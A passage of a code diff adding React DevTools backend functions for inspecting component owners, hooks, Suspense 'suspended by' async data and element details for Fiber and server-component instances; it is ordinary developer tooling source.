+      const ownerFiber: Fiber = (owner: any); // Refined
+      owner = ownerFiber._debugOwner;
+    } else {
+      const ownerInfo: ReactComponentInfo = (owner: any); // Refined
+      owner = ownerInfo.owner;
+    }
+    while (owner) {
+      if (typeof owner.tag === 'number') {
+        const ownerFiber: Fiber = (owner: any); // Refined
+        if (!shouldFilterFiber(ownerFiber)) {
+          return ownerFiber;
+        }
+        owner = ownerFiber._debugOwner;
+      } else {
+        const ownerInfo: ReactComponentInfo = (owner: any); // Refined
+        if (!shouldFilterVirtual(ownerInfo, null)) {
+          return ownerInfo;
+        }
+        owner = ownerInfo.owner;
+      }
+    }
+    return null;
+  }
+
+  function findNearestOwnerInstance(
+    parentInstance: null | DevToolsInstance,
+    owner: void | null | ReactComponentInfo | Fiber,
+  ): null | FiberInstance | VirtualInstance {
+    if (owner == null) {
+      return null;
+    }
+    // Search the parent path for any instance that matches this kind of owner.
+    while (parentInstance !== null) {
+      if (
+        parentInstance.data === owner ||
+        // Typically both owner and instance.data would refer to the current version of a Fiber
+        // but it is possible for memoization to ignore the owner on the JSX. Then the new Fiber
+        // isn't propagated down as the new owner. In that case we might match the alternate
+        // instead. This is a bit hacky but the fastest check since type casting owner to a Fiber
+        // needs a duck type check anyway.
+        parentInstance.data === (owner: any).alternate
+      ) {
+        if (parentInstance.kind === FILTERED_FIBER_INSTANCE) {
+          return null;
+        }
+        return parentInstance;
+      }
+      parentInstance = parentInstance.parent;
+    }
+    // It is technically possible to create an element and render it in a different parent
+    // but this is a weird edge case and it is worth not having to scan the tree or keep
+    // a register for every fiber/component info.
+    return null;
+  }
+
+  function inspectHooks(fiber: Fiber): HooksTree {
+    const originalConsoleMethods: {[string]: $FlowFixMe} = {};
+
+    // Temporarily disable all console logging before re-running the hook.
+    for (const method in console) {
+      try {
+        // $FlowFixMe[invalid-computed-prop]
+        originalConsoleMethods[method] = console[method];
+        // $FlowFixMe[prop-missing]
+        console[method] = () => {};
+      } catch (error) {}
+    }
+
+    try {
+      return inspectHooksOfFiber(fiber, getDispatcherRef(renderer));
+    } finally {
+      // Restore original console functionality.
+      for (const method in originalConsoleMethods) {
+        try {
+          // $FlowFixMe[prop-missing]
+          console[method] = originalConsoleMethods[method];
+        } catch (error) {}
+      }
+    }
+  }
+
+  function getSuspendedByOfSuspenseNode(
+    suspenseNode: SuspenseNode,
+    filterByChildInstance: null | DevToolsInstance, // only include suspended by instances in this subtree
+  ): Array<SerializedAsyncInfo> {
+    // Collect all ReactAsyncInfo that was suspending this SuspenseNode but
+    // isn't also in any parent set.
+    const result: Array<SerializedAsyncInfo> = [];
+    if (!suspenseNode.hasUniqueSuspenders) {
+      return result;
+    }
+    // Cache the inspection of Hooks in case we need it for multiple entries.
+    // We don't need a full map here since it's likely that every ioInfo that's unique
+    // to a specific instance will have those appear in order of when that instance was discovered.
+    let hooksCacheKey: null | DevToolsInstance = null;
+    let hooksCache: null | HooksTree = null;
+    // Collect the stream entries with the highest byte offset and end time.
+    const streamEntries: Map<
+      Promise<mixed>,
+      {
+        asyncInfo: ReactAsyncInfo,
+        instance: DevToolsInstance,
+        hooks: null | HooksTree,
+      },
+    > = new Map();
+    suspenseNode.suspendedBy.forEach((set, ioInfo) => {
+      let parentNode = suspenseNode.parent;
+      while (parentNode !== null) {
+        if (parentNode.suspendedBy.has(ioInfo)) {
+          return;
+        }
+        parentNode = parentNode.parent;
+      }
+      // We have the ioInfo but we need to find at least one corresponding await
+      // to go along with it. We don't really need to show every child that awaits the same
+      // thing so we just pick the first one that is still alive.
+      if (set.size === 0) {
+        return;
+      }
+      let firstInstance: null | DevToolsInstance = null;
+      if (filterByChildInstance === null) {
+        firstInstance = (set.values().next().value: any);
+      } else {
+        // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+        for (const childInstance of set.values()) {
+          if (firstInstance === null) {
+            firstInstance = childInstance;
+          }
+          if (
+            childInstance !== filterByChildInstance &&
+            !isChildOf(
+              filterByChildInstance,
+              childInstance,
+              suspenseNode.instance,
+            )
+          ) {
+            // Something suspended on this outside the filtered instance. That means that
+            // it is not unique to just this filtered instance so we skip including it.
+            return;
+          }
+        }
+      }
+      if (firstInstance !== null && firstInstance.suspendedBy !== null) {
+        const asyncInfo = getAwaitInSuspendedByFromIO(
+          firstInstance.suspendedBy,
+          ioInfo,
+        );
+        if (asyncInfo !== null) {
+          let hooks: null | HooksTree = null;
+          if (asyncInfo.stack == null && asyncInfo.owner == null) {
+            if (hooksCacheKey === firstInstance) {
+              hooks = hooksCache;
+            } else if (firstInstance.kind !== VIRTUAL_INSTANCE) {
+              const fiber = firstInstance.data;
+              if (
+                fiber.dependencies &&
+                fiber.dependencies._debugThenableState
+              ) {
+                // This entry had no stack nor owner but this Fiber used Hooks so we might
+                // be able to get the stack from the Hook.
+                hooksCacheKey = firstInstance;
+                hooksCache = hooks = inspectHooks(fiber);
+              }
+            }
+          }
+          const newIO = asyncInfo.awaited;
+          if (
+            (newIO.name === 'RSC stream' || newIO.name === 'rsc stream') &&
+            newIO.value != null
+          ) {
+            const streamPromise = newIO.value;
+            // Special case RSC stream entries to pick the last entry keyed by the stream.
+            const existingEntry = streamEntries.get(streamPromise);
+            if (existingEntry === undefined) {
+              streamEntries.set(streamPromise, {
+                asyncInfo,
+                instance: firstInstance,
+                hooks,
+              });
+            } else {
+              const existingIO = existingEntry.asyncInfo.awaited;
+              if (
+                newIO !== existingIO &&
+                ((newIO.byteSize !== undefined &&
+                  existingIO.byteSize !== undefined &&
+                  newIO.byteSize > existingIO.byteSize) ||
+                  newIO.end > existingIO.end)
+              ) {
+                // The new entry is later in the stream that the old entry. Replace it.
+                existingEntry.asyncInfo = asyncInfo;
+                existingEntry.instance = firstInstance;
+                existingEntry.hooks = hooks;
+              }
+            }
+          } else {
+            result.push(serializeAsyncInfo(asyncInfo, firstInstance, hooks));
+          }
+        }
+      }
+    });
+    // Add any deduped stream entries.
+    streamEntries.forEach(({asyncInfo, instance, hooks}) => {
+      result.push(serializeAsyncInfo(asyncInfo, instance, hooks));
+    });
+    return result;
+  }
+
+  function getSuspendedByOfInstance(
+    devtoolsInstance: DevToolsInstance,
+    hooks: null | HooksTree,
+  ): Array<SerializedAsyncInfo> {
+    const suspendedBy = devtoolsInstance.suspendedBy;
+    if (suspendedBy === null) {
+      return [];
+    }
+
+    const foundIOEntries: Set<ReactIOInfo> = new Set();
+    const streamEntries: Map<Promise<mixed>, ReactAsyncInfo> = new Map();
+    const result: Array<SerializedAsyncInfo> = [];
+    for (let i = 0; i < suspendedBy.length; i++) {
+      const asyncInfo = suspendedBy[i];
+      const ioInfo = asyncInfo.awaited;
+      if (foundIOEntries.has(ioInfo)) {
+        // We have already added this I/O entry to the result. We can dedupe it.
+        // This can happen when an instance depends on the same data in mutliple places.
+        continue;
+      }
+      foundIOEntries.add(ioInfo);
+      if (
+        (ioInfo.name === 'RSC stream' || ioInfo.name === 'rsc stream') &&
+        ioInfo.value != null
+      ) {
+        const streamPromise = ioInfo.value;
+        // Special case RSC stream entries to pick the last entry keyed by the stream.
+        const existingEntry = streamEntries.get(streamPromise);
+        if (existingEntry === undefined) {
+          streamEntries.set(streamPromise, asyncInfo);
+        } else {
+          const existingIO = existingEntry.awaited;
+          if (
+            ioInfo !== existingIO &&
+            ((ioInfo.byteSize !== undefined &&
+              existingIO.byteSize !== undefined &&
+              ioInfo.byteSize > existingIO.byteSize) ||
+              ioInfo.end > existingIO.end)
+          ) {
+            // The new entry is later in the stream that the old entry. Replace it.
+            streamEntries.set(streamPromise, asyncInfo);
+          }
+        }
+      } else {
+        result.push(serializeAsyncInfo(asyncInfo, devtoolsInstance, hooks));
+      }
+    }
+    // Add any deduped stream entries.
+    streamEntries.forEach(asyncInfo => {
+      result.push(serializeAsyncInfo(asyncInfo, devtoolsInstance, hooks));
+    });
+    return result;
+  }
+
+  function getSuspendedByOfInstanceSubtree(
+    devtoolsInstance: DevToolsInstance,
+  ): Array<SerializedAsyncInfo> {
+    // Get everything suspending below this instance down to the next Suspense node.
+    // First find the parent Suspense boundary which will have accumulated everything
+    let suspenseParentInstance = devtoolsInstance;
+    while (suspenseParentInstance.suspenseNode === null) {
+      if (suspenseParentInstance.parent === null) {
+        // We don't expect to hit this. We should always find the root.
+        return [];
+      }
+      suspenseParentInstance = suspenseParentInstance.parent;
+    }
+    const suspenseNode: SuspenseNode = suspenseParentInstance.suspenseNode;
+    return getSuspendedByOfSuspenseNode(suspenseNode, devtoolsInstance);
+  }
+
+  const FALLBACK_THROTTLE_MS: number = 300;
+
+  function getSuspendedByRange(
+    suspenseNode: SuspenseNode,
+  ): null | [number, number] {
+    let min = Infinity;
+    let max = -Infinity;
+    suspenseNode.suspendedBy.forEach((_, ioInfo) => {
+      if (ioInfo.end > max) {
+        max = ioInfo.end;
+      }
+      if (ioInfo.start < min) {
+        min = ioInfo.start;
+      }
+    });
+    const parentSuspenseNode = suspenseNode.parent;
+    if (parentSuspenseNode !== null) {
+      let parentMax = -Infinity;
+      parentSuspenseNode.suspendedBy.forEach((_, ioInfo) => {
+        if (ioInfo.end > parentMax) {
+          parentMax = ioInfo.end;
+        }
+      });
+      // The parent max is theoretically the earlier the parent could've committed.
+      // Therefore, the theoretical max that the child could be throttled is that plus 300ms.
+      const throttleTime = parentMax + FALLBACK_THROTTLE_MS;
+      if (throttleTime > max) {
+        // If the theoretical throttle time is later than the earliest reveal then we extend
+        // the max time to show that this is timespan could possibly get throttled.
+        max = throttleTime;
+      }
+
+      // We use the end of the previous boundary as the start time for this boundary unless,
+      // that's earlier than we'd need to expand to the full fallback throttle range. It
+      // suggests that the parent was loaded earlier than this one.
+      let startTime = max - FALLBACK_THROTTLE_MS;
+      if (parentMax > startTime) {
+        startTime = parentMax;
+      }
+      // If the first fetch of this boundary starts before that, then we use that as the start.
+      if (startTime < min) {
+        min = startTime;
+      }
+    }
+    if (min < Infinity && max > -Infinity) {
+      return [min, max];
+    }
+    return null;
+  }
+
+  function getAwaitStackFromHooks(
+    hooks: HooksTree,
+    asyncInfo: ReactAsyncInfo,
+  ): null | ReactStackTrace {
+    // TODO: We search through the hooks tree generated by inspectHooksOfFiber so that we can
+    // use the information already extracted but ideally this search would be faster since we
+    // could know which index to extract from the debug state.
+    for (let i = 0; i < hooks.length; i++) {
+      const node = hooks[i];
+      const debugInfo = node.debugInfo;
+      if (debugInfo != null && debugInfo.indexOf(asyncInfo) !== -1) {
+        // Found a matching Hook. We'll now use its source location to construct a stack.
+        const source = node.hookSource;
+        if (
+          source != null &&
+          source.functionName !== null &&
+          source.fileName !== null &&
+          source.lineNumber !== null &&
+          source.columnNumber !== null
+        ) {
+          // Unfortunately this is in a slightly different format. TODO: Unify HookNode with ReactCallSite.
+          const callSite: ReactCallSite = [
+            source.functionName,
+            source.fileName,
+            source.lineNumber,
+            source.columnNumber,
+            0,
+            0,
+            false,
+          ];
+          // As we return we'll add any custom hooks parent stacks to the array.
+          return [callSite];
+        } else {
+          return [];
+        }
+      }
+      // Otherwise, search the sub hooks of any custom hook.
+      const matchedStack = getAwaitStackFromHooks(node.subHooks, asyncInfo);
+      if (matchedStack !== null) {
+        // Append this custom hook to the stack trace since it must have been called inside of it.
+        const source = node.hookSource;
+        if (
+          source != null &&
+          source.functionName !== null &&
+          source.fileName !== null &&
+          source.lineNumber !== null &&
+          source.columnNumber !== null
+        ) {
+          // Unfortunately this is in a slightly different format. TODO: Unify HookNode with ReactCallSite.
+          const callSite: ReactCallSite = [
+            source.functionName,
+            source.fileName,
+            source.lineNumber,
+            source.columnNumber,
+            0,
+            0,
+            false,
+          ];
+          matchedStack.push(callSite);
+        }
+        return matchedStack;
+      }
+    }
+    return null;
+  }
+
+  function serializeAsyncInfo(
+    asyncInfo: ReactAsyncInfo,
+    parentInstance: DevToolsInstance,
+    hooks: null | HooksTree,
+  ): SerializedAsyncInfo {
+    const ioInfo = asyncInfo.awaited;
+    const ioOwnerInstance = findNearestOwnerInstance(
+      parentInstance,
+      ioInfo.owner,
+    );
+    let awaitStack =
+      asyncInfo.debugStack == null
+        ? null
+        : // While we have a ReactStackTrace on ioInfo.stack, that will point to the location on
+          // the server. We need a location that points to the virtual source on the client which
+          // we can then use to source map to the original location.
+          parseStackTrace(asyncInfo.debugStack, 1);
+    let awaitOwnerInstance: null | FiberInstance | VirtualInstance;
+    if (
+      asyncInfo.owner == null &&
+      (awaitStack === null || awaitStack.length === 0)
+    ) {
+      // We had no owner nor stack for the await. This can happen if you render it as a child
+      // or throw a Promise. Replace it with the parent as the await.
+      awaitStack = null;
+      awaitOwnerInstance =
+        parentInstance.kind === FILTERED_FIBER_INSTANCE ? null : parentInstance;
+      if (
+        parentInstance.kind === FIBER_INSTANCE ||
+        parentInstance.kind === FILTERED_FIBER_INSTANCE
+      ) {
+        const fiber = parentInstance.data;
+        switch (fiber.tag) {
+          case ClassComponent:
+          case FunctionComponent:
+          case IncompleteClassComponent:
+          case IncompleteFunctionComponent:
+          case IndeterminateComponent:
+          case MemoComponent:
+          case SimpleMemoComponent:
+            // If we awaited in the child position of a component, then the best stack would be the
+            // return callsite but we don't have that available so instead we skip. The callsite of
+            // the JSX would be misleading in this case. The same thing happens with throw-a-Promise.
+            if (hooks !== null) {
+              // If this component used Hooks we might be able to instead infer the stack from the
+              // use() callsite if this async info came from a hook. Let's search the tree to find it.
+              awaitStack = getAwaitStackFromHooks(hooks, asyncInfo);
+            }
+            break;
+          default:
+            // If we awaited by passing a Promise to a built-in element, then the JSX callsite is a
+            // good stack trace to use for the await.
+            if (
+              fiber._debugOwner != null &&
+              fiber._debugStack != null &&
+              typeof fiber._debugStack !== 'string'
+            ) {
+              awaitStack = parseStackTrace(fiber._debugStack, 1);
+              awaitOwnerInstance = findNearestOwnerInstance(
+                parentInstance,
+                fiber._debugOwner,
+              );
+            }
+        }
+      }
+    } else {
+      awaitOwnerInstance = findNearestOwnerInstance(
+        parentInstance,
+        asyncInfo.owner,
+      );
+    }
+
+    const value: any = ioInfo.value;
+    let resolvedValue = undefined;
+    if (
+      typeof value === 'object' &&
+      value !== null &&
+      typeof value.then === 'function'
+    ) {
+      switch (value.status) {
+        case 'fulfilled':
+          resolvedValue = value.value;
+          break;
+        case 'rejected':
+          resolvedValue = value.reason;
+          break;
+      }
+    }
+    return {
+      awaited: {
+        name: ioInfo.name,
+        description: getIODescription(resolvedValue),
+        start: ioInfo.start,
+        end: ioInfo.end,
+        byteSize: ioInfo.byteSize == null ? null : ioInfo.byteSize,
+        value: ioInfo.value == null ? null : ioInfo.value,
+        env: ioInfo.env == null ? null : ioInfo.env,
+        owner:
+          ioOwnerInstance === null
+            ? null
+            : instanceToSerializedElement(ioOwnerInstance),
+        stack:
+          ioInfo.debugStack == null
+            ? null
+            : // While we have a ReactStackTrace on ioInfo.stack, that will point to the location on
+              // the server. We need a location that points to the virtual source on the client which
+              // we can then use to source map to the original location.
+              parseStackTrace(ioInfo.debugStack, 1),
+      },
+      env: asyncInfo.env == null ? null : asyncInfo.env,
+      owner:
+        awaitOwnerInstance === null
+          ? null
+          : instanceToSerializedElement(awaitOwnerInstance),
+      stack: awaitStack,
+    };
+  }
+
+  // Fast path props lookup for React Native style editor.
+  // Could use inspectElementRaw() but that would require shallow rendering hooks components,
+  // and could also mess with memoization.
+  function getInstanceAndStyle(id: number): InstanceAndStyle {
+    let instance = null;
+    let style = null;
+
+    const devtoolsInstance = idToDevToolsInstanceMap.get(id);
+    if (devtoolsInstance === undefined) {
+      console.warn(`Could not find DevToolsInstance with id "${id}"`);
+      return {instance, style};
+    }
+    if (devtoolsInstance.kind !== FIBER_INSTANCE) {
+      // TODO: Handle VirtualInstance.
+      return {instance, style};
+    }
+
+    const fiber = devtoolsInstance.data;
+    if (fiber !== null) {
+      instance = fiber.stateNode;
+
+      if (fiber.memoizedProps !== null) {
+        style = fiber.memoizedProps.style;
+      }
+    }
+
+    return {instance, style};
+  }
+
+  function inspectElementRaw(id: number): InspectedElement | null {
+    const devtoolsInstance = idToDevToolsInstanceMap.get(id);
+    if (devtoolsInstance === undefined) {
+      console.warn(`Could not find DevToolsInstance with id "${id}"`);
+      return null;
+    }
+    if (devtoolsInstance.kind === VIRTUAL_INSTANCE) {
+      return inspectVirtualInstanceRaw(devtoolsInstance);
+    }
+    if (devtoolsInstance.kind === FIBER_INSTANCE) {
+      const isRoot = devtoolsInstance.parent === null;
+      return isRoot
+        ? inspectRootsRaw(devtoolsInstance.id)
+        : inspectFiberInstanceRaw(devtoolsInstance);
+    }
+    (devtoolsInstance: FilteredFiberInstance); // assert exhaustive
+    throw new Error('Unsupported instance kind');
+  }
+
+  function inspectFiberInstanceRaw(
+    fiberInstance: FiberInstance,
+  ): InspectedElement | null {
+    const fiber = fiberInstance.data;
+    if (fiber == null) {
+      return null;
+    }
+
+    const {
+      stateNode,
+      key,
+      memoizedProps,
+      memoizedState,
+      dependencies,
+      tag,
+      type,
+    } = fiber;
+
+    const elementType = getElementTypeForFiber(fiber);
+
+    const usesHooks =
+      (tag === FunctionComponent ||
+        tag === SimpleMemoComponent ||
+        tag === ForwardRef) &&
+      (!!memoizedState || !!dependencies);
+
+    // TODO Show custom UI for Cache like we do for Suspense
+    // For now, just hide state data entirely since it's not meant to be inspected.
+    // Make sure delete, rename, and override of state handles all tags for which
+    // we show state.
+    const showState =
+      tag === ClassComponent || tag === IncompleteClassComponent;
+
+    const typeSymbol = getTypeSymbol(type);
+
+    let canViewSource = false;
+    let context = null;
+    if (
+      tag === ClassComponent ||
+      tag === FunctionComponent ||
+      tag === IncompleteClassComponent ||
+      tag === IncompleteFunctionComponent ||
+      tag === IndeterminateComponent ||
+      tag === MemoComponent ||
+      tag === ForwardRef ||
+      tag === SimpleMemoComponent
+    ) {
+      canViewSource = true;
+      if (stateNode && stateNode.context != null) {
+        // Don't show an empty context object for class components that don't use the context API.
+        const shouldHideContext =
+          elementType === ElementTypeClass &&
+          !(type.contextTypes || type.contextType);
+
+        if (!shouldHideContext) {
+          context = stateNode.context;
+        }
+      }
+    } else if (
+      // Detect pre-19 Context Consumers
+      (typeSymbol === CONTEXT_NUMBER || typeSymbol === CONTEXT_SYMBOL_STRING) &&
+      !(
+        // In 19+, CONTEXT_SYMBOL_STRING means a Provider instead.
+        // It will be handled in a different branch below.
+        // Eventually, this entire branch can be removed.
+        (type._context === undefined && type.Provider === type)
+      )
+    ) {
+      // 16.3-16.5 read from "type" because the Consumer is the actual context object.
+      // 16.6+ should read from "type._context" because Consumer can be different (in DEV).
+      // NOTE Keep in sync with getDisplayNameForFiber()
+      const consumerResolvedContext = type._context || type;
+
+      // Global context value.
+      context = consumerResolvedContext._currentValue || null;
+
+      // Look for overridden value.
+      let current = ((fiber: any): Fiber).return;
+      while (current !== null) {
+        const currentType = current.type;
+        const currentTypeSymbol = getTypeSymbol(currentType);
+        if (
+          currentTypeSymbol === PROVIDER_NUMBER ||
+          currentTypeSymbol === PROVIDER_SYMBOL_STRING
+        ) {
+          // 16.3.0 exposed the context object as "context"
+          // PR #12501 changed it to "_context" for 16.3.1+
+          // NOTE Keep in sync with getDisplayNameForFiber()
+          const providerResolvedContext =
+            currentType._context || currentType.context;
+          if (providerResolvedContext === consumerResolvedContext) {
+            context = current.memoizedProps.value;
+            break;
+          }
+        }
+
+        current = current.return;
+      }
+    } else if (
+      // Detect 19+ Context Consumers
+      typeSymbol === CONSUMER_SYMBOL_STRING
+    ) {
+      // This branch is 19+ only, where Context.Provider === Context.
+      // NOTE Keep in sync with getDisplayNameForFiber()
+      const consumerResolvedContext = type._context;
+
+      // Global context value.
+      context = consumerResolvedContext._currentValue || null;
+
+      // Look for overridden value.
+      let current = ((fiber: any): Fiber).return;
+      while (current !== null) {
+        const currentType = current.type;
+        const currentTypeSymbol = getTypeSymbol(currentType);
+        if (
+          // In 19+, these are Context Providers
+          currentTypeSymbol === CONTEXT_SYMBOL_STRING
+        ) {
+          const providerResolvedContext = currentType;
+          if (providerResolvedContext === consumerResolvedContext) {
+            context = current.memoizedProps.value;
+            break;
+          }
+        }
+
+        current = current.return;
+      }
+    }
+
+    let hasLegacyContext = false;
+    if (context !== null) {
+      hasLegacyContext = !!type.contextTypes;
+
+      // To simplify hydration and display logic for context, wrap in a value object.
+      // Otherwise simple values (e.g. strings, booleans) become harder to handle.
+      context = {value: context};
+    }
+
+    const owners: null | Array<SerializedElement> =
+      getOwnersListFromInstance(fiberInstance);
+
+    let hooks: null | HooksTree = null;
+    if (usesHooks) {
+      hooks = inspectHooks(fiber);
+    }
+
+    let rootType = null;
+    let current = fiber;
+    let hasErrorBoundary = false;
+    let hasSuspenseBoundary = false;
+    while (current.return !== null) {
+      const temp = current;
+      current = current.return;
+      if (temp.tag === SuspenseComponent) {
+        hasSuspenseBoundary = true;
+      } else if (isErrorBoundary(ReactTypeOfWork, temp)) {
+        hasErrorBoundary = true;
+      }
+    }
+    const fiberRoot = current.stateNode;
+    if (fiberRoot != null && fiberRoot._debugRootType !== null) {
+      rootType = fiberRoot._debugRootType;
+    }
+
+    let isErrored = false;
+    if (isErrorBoundary(ReactTypeOfWork, fiber)) {
+      // if the current inspected element is an error boundary,
+      // either that we want to use it to toggle off error state
+      // or that we allow to force error state on it if it's within another
+      // error boundary
+      //
+      // TODO: This flag is a leaked implementation detail. Once we start
+      // releasing DevTools in lockstep with React, we should import a function
+      // from the reconciler instead.
+      const DidCapture = 0b000000000000000000010000000;
+      isErrored =
+        (fiber.flags & DidCapture) !== 0 ||
+        forceErrorForFibers.get(fiber) === true ||
+        (fiber.alternate !== null &&
+          forceErrorForFibers.get(fiber.alternate) === true);
+    }
+
+    const plugins: Plugins = {
+      stylex: null,
+    };
+
+    if (enableStyleXFeatures) {
+      if (memoizedProps != null && memoizedProps.hasOwnProperty('xstyle')) {
+        plugins.stylex = getStyleXData(memoizedProps.xstyle);
+      }
+    }
+
+    let source = null;
+    if (canViewSource) {
+      source = getSourceForFiberInstance(fiberInstance);
+    }
+
+    let componentLogsEntry = fiberToComponentLogsMap.get(fiber);
+    if (componentLogsEntry === undefined && fiber.alternate !== null) {
+      componentLogsEntry = fiberToComponentLogsMap.get(fiber.alternate);
+    }
+
+    let nativeTag = null;
+    if (elementType === ElementTypeHostComponent) {
+      nativeTag = getNativeTag(fiber.stateNode);
+    }
+
+    let isSuspended: boolean | null = null;
+    if (tag === SuspenseComponent) {
+      isSuspended = memoizedState !== null;
+    }
+
+    const suspendedBy =
+      fiberInstance.suspenseNode !== null
+        ? // If this is a Suspense boundary, then we include everything in the subtree that might suspend
+          // this boundary down to the next Suspense boundary.
+          getSuspendedByOfSuspenseNode(fiberInstance.suspenseNode, null)
+        : tag === ActivityComponent
+          ? // For Activity components we show everything that suspends the subtree down to the next boundary
+            // so that you can see what suspends a Transition at that level.
+            getSuspendedByOfInstanceSubtree(fiberInstance)
+          : // This set is an edge case where if you pass a promise to a Client Component into a children
+            // position without a Server Component as the direct parent. E.g. <div>{promise}</div>
+            // In this case, this becomes associated with the Client/Host Component where as normally
+            // you'd expect these to be associated with the Server Component that awaited the data.
+            // TODO: Prepend other suspense sources like css, images and use().
+            getSuspendedByOfInstance(fiberInstance, hooks);
+    const suspendedByRange = getSuspendedByRange(
+      getNearestSuspenseNode(fiberInstance),
+    );
+
+    let unknownSuspenders = UNKNOWN_SUSPENDERS_NONE;
+    if (
+      fiberInstance.suspenseNode !== null &&
+      fiberInstance.suspenseNode.hasUnknownSuspenders &&
+      !isSuspended
+    ) {
+      // Something unknown threw to suspended this boundary. Let's figure out why that might be.
+      if (renderer.bundleType === 0) {
+        unknownSuspenders = UNKNOWN_SUSPENDERS_REASON_PRODUCTION;
+      } else if (!('_debugInfo' in fiber)) {
+        // TODO: We really should detect _debugThenable and the auto-instrumentation for lazy/thenables too.
+        unknownSuspenders = UNKNOWN_SUSPENDERS_REASON_OLD_VERSION;
+      } else {
+        unknownSuspenders = UNKNOWN_SUSPENDERS_REASON_THROWN_PROMISE;
+      }
+    }
+
+    return {
+      id: fiberInstance.id,
+
+      // Does the current renderer support editable hooks and function props?
+      canEditHooks: typeof overrideHookState === 'function',
+      canEditFunctionProps: typeof overrideProps === 'function',
+
+      // Does the current renderer support advanced editing interface?
+      canEditHooksAndDeletePaths:
+        typeof overrideHookStateDeletePath === 'function',
+      canEditHooksAndRenamePaths:
+        typeof overrideHookStateRenamePath === 'function',
+      canEditFunctionPropsDeletePaths:
+        typeof overridePropsDeletePath === 'function',
+      canEditFunctionPropsRenamePaths:
+        typeof overridePropsRenamePath === 'function',
+
+      canToggleError: supportsTogglingError && hasErrorBoundary,
+      // Is this error boundary in error state.
+      isErrored,
+
+      canToggleSuspense:
+        supportsTogglingSuspense &&
+        hasSuspenseBoundary &&
+        // If it's showing the real content, we can always flip fallback.
+        (!isSuspended ||
+          // If it's showing fallback because we previously forced it to,
+          // allow toggling it back to remove the fallback override.
+          forceFallbackForFibers.has(fiber) ||
+          (fiber.alternate !== null &&
+            forceFallbackForFibers.has(fiber.alternate))),
+      isSuspended: isSuspended,
+
+      source,
+
+      stack:
+        fiber._debugOwner == null || fiber._debugStack == null
+          ? null
+          : parseStackTrace(fiber._debugStack, 1),
+
+      // Does the component have legacy context attached to it.
+      hasLegacyContext,
+
+      key:
+        key != null
+          ? key === REACT_OPTIMISTIC_KEY
+            ? 'React.optimisticKey'
+            : key
+          : null,
+
+      type: elementType,
+
+      // Inspectable properties.
+      // TODO Review sanitization approach for the below inspectable values.
+      context,
+      hooks,
+      props: memoizedProps,
+      state: showState ? memoizedState : null,
+      errors:
+        componentLogsEntry === undefined
+          ? []
+          : Array.from(componentLogsEntry.errors.entries()),
+      warnings:
+        componentLogsEntry === undefined
+          ? []
+          : Array.from(componentLogsEntry.warnings.entries()),
+
+      suspendedBy: suspendedBy,
+      suspendedByRange: suspendedByRange,
+      unknownSuspenders: unknownSuspenders,
+
+      // List of owners
+      owners,
+
+      env: null,
+
+      rootType,
+      rendererPackageName: renderer.rendererPackageName,
+      rendererVersion: renderer.version,
+
+      plugins,
+
+      nativeTag,
+    };
+  }
+
+  function inspectVirtualInstanceRaw(
+    virtualInstance: VirtualInstance,
+  ): InspectedElement | null {
+    const source = getSourceForInstance(virtualInstance);
+
+    const componentInfo = virtualInstance.data;
+    const key =
+      typeof componentInfo.key === 'string' ? componentInfo.key : null;
+    const props = componentInfo.props == null ? null : componentInfo.props;
+    const owners: null | Array<SerializedElement> =
+      getOwnersListFromInstance(virtualInstance);
+
+    let rootType = null;
+    let hasErrorBoundary = false;
+    let hasSuspenseBoundary = false;
+    const nearestFiber = getNearestFiber(virtualInstance);
+    if (nearestFiber !== null) {
+      let current = nearestFiber;
+      while (current.return !== null) {
+        const temp = current;
+        current = current.return;
+        if (temp.tag === SuspenseComponent) {
+          hasSuspenseBoundary = true;
+        } else if (isErrorBoundary(ReactTypeOfWork, temp)) {
+          hasErrorBoundary = true;
+        }
+      }
+      const fiberRoot = current.stateNode;
+      if (fiberRoot != null && fiberRoot._debugRootType !== null) {
+        rootType = fiberRoot._debugRootType;
+      }
+    }
+
+    const plugins: Plugins = {
+      stylex: null,
+    };
+
+    const componentLogsEntry =
+      componentInfoToComponentLogsMap.get(componentInfo);
+
+    const isSuspended = null;
+    // Things that Suspended this Server Component (use(), awaits and direct child promises)
+    const suspendedBy = getSuspendedByOfInstance(virtualInstance, null);
+    const suspendedByRange = getSuspendedByRange(
+      getNearestSuspenseNode(virtualInstance),
+    );
+
+    return {
+      id: virtualInstance.id,
+
+      canEditHooks: false,
+      canEditFunctionProps: false,
+
+      canEditHooksAndDeletePaths: false,
+      canEditHooksAndRenamePaths: false,
+      canEditFunctionPropsDeletePaths: false,
+      canEditFunctionPropsRenamePaths: false,
+
+      canToggleError: supportsTogglingError && hasErrorBoundary,
+      isErrored: false,
+
+      canToggleSuspense: supportsTogglingSuspense && hasSuspenseBoundary,
+      isSuspended: isSuspended,
+
+      source,
+
+      stack:
+        componentInfo.owner == null || componentInfo.debugStack == null
+          ? null
+          : parseStackTrace(componentInfo.debugStack, 1),
+
+      // Does the component have legacy context attached to it.
+      hasLegacyContext: false,
+
+      key: key,
+
+      type: ElementTypeVirtual,
+
+      // Inspectable properties.
+      // TODO Review sanitization approach for the below inspectable values.
+      context: null,
+      hooks: null,
+      props: props,
+      state: null,
+      errors:
+        componentLogsEntry === undefined
+          ? []
+          : Array.from(componentLogsEntry.errors.entries()),
+      warnings:
+        componentLogsEntry === undefined
+          ? []
+          : Array.from(componentLogsEntry.warnings.entries()),
+
+      suspendedBy: suspendedBy,
+      suspendedByRange: suspendedByRange,
+      unknownSuspenders: UNKNOWN_SUSPENDERS_NONE,
+
+      // List of owners
+      owners,
+
+      env: componentInfo.env == null ? null : componentInfo.env,
+
+      rootType,
+      rendererPackageName: renderer.rendererPackageName,
+      rendererVersion: renderer.version,
+
+      plugins,
+
+      nativeTag: null,
+    };
+  }
+
+  let mostRecentlyInspectedElement: InspectedElement | null = null;
+  let hasElementUpdatedSinceLastInspected: boolean = false;
+  let currentlyInspectedPaths: Object = {};
+
+  function isMostRecentlyInspectedElement(id: number): boolean {
+    if (mostRecentlyInspectedElement === null) {
+      return false;
+    }
+    if (mostRecentlyInspectedElement.id === id) {
+      return true;
+    }
+
+    if (mostRecentlyInspectedElement.type === ElementTypeRoot) {
+      // we inspected the screen recently. If we're inspecting another root, we're
+      // still inspecting the screen.
+      const instance = idToDevToolsInstanceMap.get(id);
+      return (
+        instance !== undefined &&
+        instance.kind === FIBER_INSTANCE &&
+        instance.parent === null
+      );
+    }
+    return false;
+  }
+
+  function isMostRecentlyInspectedElementCurrent(id: number): boolean {
+    return (
+      isMostRecentlyInspectedElement(id) && !hasElementUpdatedSinceLastInspected
+    );
